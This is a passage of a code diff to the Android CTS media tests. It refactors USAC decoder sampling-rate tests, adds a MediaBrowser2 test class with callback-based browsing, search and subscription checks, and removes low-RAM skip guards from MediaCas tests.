+            checkUsacStreamSwitching(2.1E12f, 2,
+                    R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Mono
+        // switch between USAC modes
+        try {
+            checkUsacStreamSwitching(1.7E12f, 1,
+                    R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+    }
+
     /**
      * Verify the correct decoding of USAC bitstreams with various sampling rates.
      */
@@ -272,20 +289,28 @@
 
         for (String aacDecName : sAacDecoderNames) {
             try {
-                checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
-                        aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
-                throw new RuntimeException(e);
+                runDecodeUsacSamplingRatesM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
             }
         }
     }
 
+    private void runDecodeUsacSamplingRatesM4a(String aacDecName) throws Exception {
+        try {
+            checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
+                    aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
 
     /**
      *  Internal utilities
@@ -437,7 +462,7 @@
     }
 
     /**
-     * Same as {@link #checkEnergyUSAC(short[], AudioParameter, int, int)} but with DRC effec type
+     * Same as {@link #checkEnergyUSAC(short[], AudioParameter, int, int)} but with DRC effect type
      * @param decSamples
      * @param decParams
      * @param encNch
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
new file mode 100644
index 0000000..9ced5b1
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
@@ -0,0 +1,672 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.cts.MockMediaLibraryService2.EXTRAS;
+import static android.media.cts.MockMediaLibraryService2.ROOT_ID;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.annotation.Nullable;
+import android.content.Context;
+import android.media.MediaBrowser2;
+import android.media.MediaBrowser2.BrowserCallback;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2.MediaLibrarySession;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaBrowser2}.
+ * <p>
+ * This test inherits {@link MediaController2Test} to ensure that inherited APIs from
+ * {@link MediaController2} works cleanly.
+ */
+// TODO(jaewan): Implement host-side test so browser and service can run in different processes.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaBrowser2Test extends MediaController2Test {
+    private static final String TAG = "MediaBrowser2Test";
+
+    @Override
+    TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+            @Nullable ControllerCallback callback) {
+        if (callback == null) {
+            callback = new BrowserCallback() {};
+        }
+        return new TestMediaBrowser(mContext, token, new TestBrowserCallback(callback));
+    }
+
+    /**
+     * Test if the {@link TestBrowserCallback} wraps the callback proxy without missing any method.
+     */
+    @Test
+    public void testTestBrowserCallback() {
+        Method[] methods = TestBrowserCallback.class.getMethods();
+        assertNotNull(methods);
+        for (int i = 0; i < methods.length; i++) {
+            // For any methods in the controller callback, TestControllerCallback should have
+            // overriden the method and call matching API in the callback proxy.
+            assertNotEquals("TestBrowserCallback should override " + methods[i]
+                            + " and call callback proxy",
+                    BrowserCallback.class, methods[i].getDeclaringClass());
+        }
+    }
+
+    @Test
+    public void testGetLibraryRoot() throws InterruptedException {
+        final Bundle param = new Bundle();
+        param.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetLibraryRootDone(MediaBrowser2 browser,
+                    Bundle rootHints, String rootMediaId, Bundle rootExtra) {
+                assertTrue(TestUtils.equals(param, rootHints));
+                assertEquals(ROOT_ID, rootMediaId);
+                assertTrue(TestUtils.equals(EXTRAS, rootExtra));
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser =
+                (MediaBrowser2) createController(token,true, callback);
+        browser.getLibraryRoot(param);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetItem() throws InterruptedException {
+        final String mediaId = MockMediaLibraryService2.MEDIA_ID_GET_ITEM;
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+                assertEquals(mediaId, mediaIdOut);
+                assertNotNull(result);
+                assertEquals(mediaId, result.getMediaId());
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getItem(mediaId);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetItemNullResult() throws InterruptedException {
+        final String mediaId = "random_media_id";
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+                assertEquals(mediaId, mediaIdOut);
+                assertNull(result);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getItem(mediaId);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetChildren() throws InterruptedException {
+        final String parentId = MockMediaLibraryService2.PARENT_ID;
+        final int page = 4;
+        final int pageSize = 10;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut, int pageOut,
+                    int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertEquals(parentId, parentIdOut);
+                assertEquals(page, pageOut);
+                assertEquals(pageSize, pageSizeOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertNotNull(result);
+
+                int fromIndex = (page - 1) * pageSize;
+                int toIndex = Math.min(page * pageSize, MockMediaLibraryService2.CHILDREN_COUNT);
+
+                // Compare the given results with originals.
+                for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+                    int relativeIndex = originalIndex - fromIndex;
+                    Assert.assertEquals(
+                            MockMediaLibraryService2.GET_CHILDREN_RESULT.get(originalIndex)
+                                    .getMediaId(),
+                            result.get(relativeIndex).getMediaId());
+                }
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getChildren(parentId, page, pageSize, extras);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetChildrenEmptyResult() throws InterruptedException {
+        final String parentId = MockMediaLibraryService2.PARENT_ID_NO_CHILDREN;
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+                    int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertNotNull(result);
+                assertEquals(0, result.size());
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getChildren(parentId, 1, 1, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetChildrenNullResult() throws InterruptedException {
+        final String parentId = MockMediaLibraryService2.PARENT_ID_ERROR;
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+                    int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertNull(result);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getChildren(parentId, 1, 1, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Ignore
+    @Test
+    public void testSearch() throws InterruptedException {
+        final String query = MockMediaLibraryService2.SEARCH_QUERY;
+        final int page = 4;
+        final int pageSize = 10;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latchForSearch = new CountDownLatch(1);
+        final CountDownLatch latchForGetSearchResult = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onSearchResultChanged(MediaBrowser2 browser,
+                    String queryOut, int itemCount, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+                latchForSearch.countDown();
+            }
+
+            @Override
+            public void onGetSearchResultDone(MediaBrowser2 browser, String queryOut,
+                    int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertEquals(page, pageOut);
+                assertEquals(pageSize, pageSizeOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertNotNull(result);
+
+                int fromIndex = (page - 1) * pageSize;
+                int toIndex = Math.min(
+                        page * pageSize, MockMediaLibraryService2.SEARCH_RESULT_COUNT);
+
+                // Compare the given results with originals.
+                for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+                    int relativeIndex = originalIndex - fromIndex;
+                    Assert.assertEquals(
+                            MockMediaLibraryService2.SEARCH_RESULT.get(originalIndex).getMediaId(),
+                            result.get(relativeIndex).getMediaId());
+                }
+                latchForGetSearchResult.countDown();
+            }
+        };
+
+        // Request the search.
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.search(query, extras);
+        assertTrue(latchForSearch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+        // Get the search result.
+        browser.getSearchResult(query, page, pageSize, extras);
+        assertTrue(latchForGetSearchResult.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSearchTakesTime() throws InterruptedException {
+        final String query = MockMediaLibraryService2.SEARCH_QUERY_TAKES_TIME;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onSearchResultChanged(
+                    MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.search(query, extras);
+        assertTrue(latch.await(
+                MockMediaLibraryService2.SEARCH_TIME_IN_MS + WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSearchEmptyResult() throws InterruptedException {
+        final String query = MockMediaLibraryService2.SEARCH_QUERY_EMPTY_RESULT;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onSearchResultChanged(
+                    MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertEquals(0, itemCount);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.search(query, extras);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSubscribe() throws InterruptedException {
+        final String testParentId = "testSubscribeId";
+        final Bundle testExtras = new Bundle();
+        testExtras.putString(testParentId, testParentId);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+            @Override
+            public void onSubscribe(@NonNull MediaLibrarySession session,
+                    @NonNull ControllerInfo info, @NonNull String parentId,
+                    @Nullable Bundle extras) {
+                if (Process.myUid() == info.getUid()) {
+                    assertEquals(testParentId, parentId);
+                    assertTrue(TestUtils.equals(testExtras, extras));
+                    latch.countDown();
+                }
+            }
+        };
+        TestServiceRegistry.getInstance().setSessionCallback(callback);
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token);
+        browser.subscribe(testParentId, testExtras);
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Ignore
+    @Test
+    public void testUnsubscribe() throws InterruptedException {
+        final String testParentId = "testUnsubscribeId";
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+            @Override
+            public void onUnsubscribe(@NonNull MediaLibrarySession session,
+                    @NonNull ControllerInfo info, @NonNull String parentId) {
+                if (Process.myUid() == info.getUid()) {
+                    assertEquals(testParentId, parentId);
+                    latch.countDown();
+                }
+            }
+        };
+        TestServiceRegistry.getInstance().setSessionCallback(callback);
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token);
+        browser.unsubscribe(testParentId);
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testBrowserCallback_notifyChildrenChanged() throws InterruptedException {
+        // TODO(jaewan): Add test for the notifyChildrenChanged itself.
+        final String testParentId1 = "testBrowserCallback_notifyChildrenChanged_unexpectedParent";
+        final String testParentId2 = "testBrowserCallback_notifyChildrenChanged";
+        final int testChildrenCount = 101;
+        final Bundle testExtras = new Bundle();
+        testExtras.putString(testParentId1, testParentId1);
+
+        final CountDownLatch latch = new CountDownLatch(3);
+        final MediaLibrarySessionCallback sessionCallback =
+                new MediaLibrarySessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+                            @NonNull ControllerInfo controller) {
+                        if (Process.myUid() == controller.getUid()) {
+                            assertTrue(session instanceof MediaLibrarySession);
+                            if (mSession != null) {
+                                mSession.close();
+                            }
+                            mSession = session;
+                            // Shouldn't trigger onChildrenChanged() for the browser, because it
+                            // hasn't subscribed.
+                            ((MediaLibrarySession) session).notifyChildrenChanged(
+                                    testParentId1, testChildrenCount, null);
+                            ((MediaLibrarySession) session).notifyChildrenChanged(
+                                    controller, testParentId1, testChildrenCount, null);
+                        }
+                        return super.onConnect(session, controller);
+                    }
+
+                    @Override
+                    public void onSubscribe(@NonNull MediaLibrarySession session,
+                            @NonNull ControllerInfo info, @NonNull String parentId,
+                            @Nullable Bundle extras) {
+                        if (Process.myUid() == info.getUid()) {
+                            session.notifyChildrenChanged(testParentId2, testChildrenCount, null);
+                            session.notifyChildrenChanged(info, testParentId2, testChildrenCount,
+                                    testExtras);
+                        }
+                    }
+        };
+        final BrowserCallback controllerCallbackProxy =
+                new BrowserCallback() {
+                    @Override
+                    public void onChildrenChanged(MediaBrowser2 browser, String parentId,
+                            int itemCount, Bundle extras) {
+                        switch ((int) latch.getCount()) {
+                            case 3:
+                                assertEquals(testParentId2, parentId);
+                                assertEquals(testChildrenCount, itemCount);
+                                assertNull(extras);
+                                latch.countDown();
+                                break;
+                            case 2:
+                                assertEquals(testParentId2, parentId);
+                                assertEquals(testChildrenCount, itemCount);
+                                assertTrue(TestUtils.equals(testExtras, extras));
+                                latch.countDown();
+                                break;
+                            default:
+                                // Unexpected call.
+                                fail();
+                        }
+                    }
+                };
+        TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        final MediaBrowser2 browser = (MediaBrowser2) createController(
+                token, true, controllerCallbackProxy);
+        assertTrue(mSession instanceof MediaLibrarySession);
+        browser.subscribe(testParentId2, null);
+        // This ensures that onChildrenChanged() is only called for the expected reasons.
+        assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    public static class TestBrowserCallback extends BrowserCallback
+            implements WaitForConnectionInterface {
+        private final ControllerCallback mCallbackProxy;
+        public final CountDownLatch connectLatch = new CountDownLatch(1);
+        public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+        TestBrowserCallback(ControllerCallback callbackProxy) {
+            if (callbackProxy == null) {
+                throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+            }
+            mCallbackProxy = callbackProxy;
+        }
+
+        @CallSuper
+        @Override
+        public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+            connectLatch.countDown();
+        }
+
+        @CallSuper
+        @Override
+        public void onDisconnected(MediaController2 controller) {
+            disconnectLatch.countDown();
+        }
+
+        @Override
+        public void waitForConnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void waitForDisconnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void onPlaybackInfoChanged(MediaController2 controller,
+                MediaController2.PlaybackInfo info) {
+            mCallbackProxy.onPlaybackInfoChanged(controller, info);
+        }
+
+        @Override
+        public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+                Bundle args, ResultReceiver receiver) {
+            mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+        }
+
+        @Override
+        public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+            mCallbackProxy.onCustomLayoutChanged(controller, layout);
+        }
+
+        @Override
+        public void onAllowedCommandsChanged(MediaController2 controller,
+                SessionCommandGroup2 commands) {
+            mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+        }
+
+        @Override
+        public void onPlayerStateChanged(MediaController2 controller, int state) {
+            mCallbackProxy.onPlayerStateChanged(controller, state);
+        }
+
+        @Override
+        public void onSeekCompleted(MediaController2 controller, long position) {
+            mCallbackProxy.onSeekCompleted(controller, position);
+        }
+
+        @Override
+        public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+            mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+        }
+
+        @Override
+        public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+                int state) {
+            mCallbackProxy.onBufferingStateChanged(controller, item, state);
+        }
+
+        @Override
+        public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+            mCallbackProxy.onError(controller, errorCode, extras);
+        }
+
+        @Override
+        public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+            mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+        }
+
+        @Override
+        public void onPlaylistChanged(MediaController2 controller,
+                List<MediaItem2> list, MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+        }
+
+        @Override
+        public void onPlaylistMetadataChanged(MediaController2 controller,
+                MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+        }
+
+        @Override
+        public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+            mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+        }
+
+        @Override
+        public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+            mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+        }
+
+        @Override
+        public void onGetLibraryRootDone(MediaBrowser2 browser, Bundle rootHints,
+                String rootMediaId, Bundle rootExtra) {
+            super.onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+            }
+        }
+
+        @Override
+        public void onGetItemDone(MediaBrowser2 browser, String mediaId, MediaItem2 result) {
+            super.onGetItemDone(browser, mediaId, result);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy).onGetItemDone(browser, mediaId, result);
+            }
+        }
+
+        @Override
+        public void onGetChildrenDone(MediaBrowser2 browser, String parentId, int page,
+                int pageSize, List<MediaItem2> result, Bundle extras) {
+            super.onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+            }
+        }
+
+        @Override
+        public void onSearchResultChanged(MediaBrowser2 browser, String query, int itemCount,
+                Bundle extras) {
+            super.onSearchResultChanged(browser, query, itemCount, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onSearchResultChanged(browser, query, itemCount, extras);
+            }
+        }
+
+        @Override
+        public void onGetSearchResultDone(MediaBrowser2 browser, String query, int page,
+                int pageSize, List<MediaItem2> result, Bundle extras) {
+            super.onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+            }
+        }
+
+        @Override
+        public void onChildrenChanged(MediaBrowser2 browser, String parentId, int itemCount,
+                Bundle extras) {
+            super.onChildrenChanged(browser, parentId, itemCount, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onChildrenChanged(browser, parentId, itemCount, extras);
+            }
+        }
+    }
+
+    public class TestMediaBrowser extends MediaBrowser2 implements TestControllerInterface {
+        private final BrowserCallback mCallback;
+
+        public TestMediaBrowser(@NonNull Context context, @NonNull SessionToken2 token,
+                @NonNull ControllerCallback callback) {
+            super(context, token, sHandlerExecutor, (BrowserCallback) callback);
+            mCallback = (BrowserCallback) callback;
+        }
+
+        @Override
+        public BrowserCallback getCallback() {
+            return mCallback;
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index f28613a..692542d 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -16,9 +16,6 @@
 
 package android.media.cts;
 
-import android.content.Context;
-import android.app.ActivityManager;
-import android.content.pm.PackageManager;
 import android.media.MediaCas;
 import android.media.MediaCas.PluginDescriptor;
 import android.media.MediaCas.Session;
@@ -154,10 +151,6 @@
      * be instantiated.
      */
     public void testEnumeratePlugins() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testEnumetaePlugins.");
-           return;
-        }
         PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
         for (int i = 0; i < descriptors.length; i++) {
             Log.d(TAG, "desciptor[" + i + "]: id=" + descriptors[i].getSystemId()
@@ -200,10 +193,6 @@
     }
 
     public void testInvalidSystemIdFails() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testInvalidSystemIdFails.");
-           return;
-        }
         assertFalse("Invalid id " + sInvalidSystemId + " should not be supported",
                 MediaCas.isSystemIdSupported(sInvalidSystemId));
 
@@ -235,10 +224,6 @@
     }
 
     public void testClearKeyPluginInstalled() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testClearKeyPluginInstalled.");
-           return;
-        }
         PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
         for (int i = 0; i < descriptors.length; i++) {
             if (descriptors[i].getSystemId() == sClearKeySystemId) {
@@ -252,10 +237,6 @@
      * Test that valid call sequences succeed.
      */
     public void testClearKeyApis() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testClearKeyApis.");
-           return;
-        }
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -335,10 +316,6 @@
      * Test that all sessions are closed after a MediaCas object is released.
      */
     public void testClearKeySessionClosedAfterRelease() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testClearKeySessionClosedAfterRelease.");
-           return;
-        }
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -388,10 +365,6 @@
      * Test that invalid call sequences fail with expected exceptions.
      */
     public void testClearKeyExceptions() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testClearKeyExceptions.");
-           return;
-        }
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -588,13 +561,4 @@
         }
         return Arrays.copyOfRange(tempArray, 0, i);
     }
-
-    private boolean isTV() {
-        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
-    }
-
-    private boolean isLowRam() {
-        ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
-        return am.isLowRamDevice();
-    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaController2Test.java b/tests/tests/media/src/android/media/cts/MediaController2Test.java
new file mode 100644
index 0000000..755801d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaController2Test.java
@@ -0,0 +1,1132 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
